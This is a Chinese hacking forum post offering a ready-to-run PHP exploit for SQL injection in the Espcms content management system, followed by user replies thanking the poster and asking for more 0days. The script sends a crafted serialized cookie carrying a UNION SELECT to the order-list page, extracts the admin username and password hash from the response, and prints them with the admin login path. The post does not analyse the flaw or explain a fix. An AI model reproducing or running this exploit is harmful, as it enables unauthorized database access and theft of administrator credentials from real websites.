Espcms SQL Injection Exploit (解除封号危机发个exp.)
前段时间t00ls关闭的时候挖的,一直想发,前段时间一直提示来路不正确. 所以现在发个exp,分析文章网上应该都有了.
<?php
print_r('
+-----------------------------------------------+
Espcms SQL Injection Exploit
Author: Desperado && n3wf
Using The Exploit, You Can Hack The World
Code By Desperado
+-----------------------------------------------+
');
if ($argc < 2)
{
print_r('
Example:
php ' .$argv[0]. ' Localhost
');
exit;
}
error_reporting(3);
ini_set('max_execution_time',0);
$host = $argv[1];
//$cookie_file = dirname(__FILE__).'/cookie.txt';
//echo $cookie_file;
$strCookie = 'ecisp_order_list=a%3a1%3a%7bs%3a3%3a%22k23%22%3ba%3a2%3a%7bs%3a3%3a%22did%22%3bs%3a159%3a%2224)+and+1%3d2+union+select+1%2c2%2c3%2c4%2c5%2c6%2c7%2c8%2c9%2c10%2c11%2c12%2c13%2c14%2c15%2c16%2cpassword%2cusername%2c19%2c20%2c21%2c22%2c23%2c24%2c25%2c26%2c27%2c28%2c29%2c30%2c31+from+espcms_admin_member+where+1+in+(1%22%3bs%3a6%3a%22amount%22%3bi%3a1%3b%7d%7d';
$url = $host.'/index.php?ac=order&at=list';
$ch = curl_init($url);
curl_setopt($ch,CURLOPT_HEADER,0);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_COOKIE,$strCookie);
$response = curl_exec($ch);
curl_close($ch);
$uregex = '/(index\.php\?ac=article&at=read&did=1\">)+(.*)/i';
preg_match_all($uregex, $response, $uresult);
$username = explode("<", $uresult[2][0]);
$pregex = '/(<td class=\"td02 center\">)+(.*)/';
preg_match_all($pregex, $response, $presult);
$password = explode("<",$presult[2][0]);
if($username[0]!='' && $password[0]!='')
{
echo 'Inject Successfully,The username:'.$username[0]."\n";
echo "The password:".$password[0]."\n";
echo 'The Manager Page:'.$host.'/adminsoft'."\n";
}else{
echo 'Sorry,This Site is not vulnerable,Inject Failed!'."\n";
}
?>
评论47次
谢谢楼主,求共享0DAY
表示支持,但是存在这个漏洞的版本是什么呢??
表示支持,但是存在这个漏洞的版本是什么呢??
支持原创
请问这个Cookie注入么?
我先收下了~!!!
支持原创
支持原创。
各种exp,lz好人,果断收了
哈哈 顶了!
菜鸟只能回复领0day了
一说封号 我就来了 谢谢分享
感谢分享
好多潜水的人,都在默默的观望中
这CMS真惨。。。最近
支持原创,最近发现都是espcms的
支持一下
支持 原创 我得10个回复
顶了。。。
mark,51各种exp啊